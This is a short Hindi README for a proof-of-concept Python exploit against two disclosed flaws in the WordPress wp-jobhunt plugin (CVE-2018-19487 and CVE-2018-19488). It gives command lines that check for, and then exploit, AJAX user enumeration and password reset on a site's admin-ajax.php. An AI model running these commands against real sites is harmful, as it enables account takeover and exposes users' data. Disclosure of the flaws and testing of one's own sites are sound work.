wp-jobhunt-exploit

CVE-2018-19487, CVE-2018-19488, WordPress wp-jobhunt प्लगइन के लिए एक्सप्लॉइट

wp-jobhunt प्लगइन, JobCareer थीम के साथ प्रयोग किया जाने वाला एक प्लगइन है:

https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636 (नीचे चेंजलॉग देखें)

CVE-2018-19487 (AJAX उपयोगकर्ता जानकारी प्रकटीकरण) और CVE-2018-19488 (AJAX उपयोगकर्ता पासवर्ड रीसेट) के लिए Python एक्सप्लॉइट, जो संस्करण 2.2 और उससे पहले पर लागू होता है।

आवश्यकताएँ:

• requests
• urllib
• json

उपयोग कैसे करें:

जाँचें कि क्या यह उपयोगकर्ता एन्यूमरेशन के लिए असुरक्षित है:

python poc.py --checkenum https://wpsite/path/to/wp-admin/admin-ajax.php

जाँचें कि क्या यह उपयोगकर्ता पासवर्ड रीसेट के लिए असुरक्षित है:

python poc.py --checkreset https://wpsite/path/to/wp-admin/admin-ajax.php

उपयोगकर्ता एन्यूमरेशन का एक्सप्लॉइट करें:

python poc.py --enum https://wpsite/path/to/wp-admin/admin-ajax.php

उपयोगकर्ता पासवर्ड रीसेट का एक्सप्लॉइट करें:

python poc.py --reset https://wpsite/path/to/wp-admin/admin-ajax.php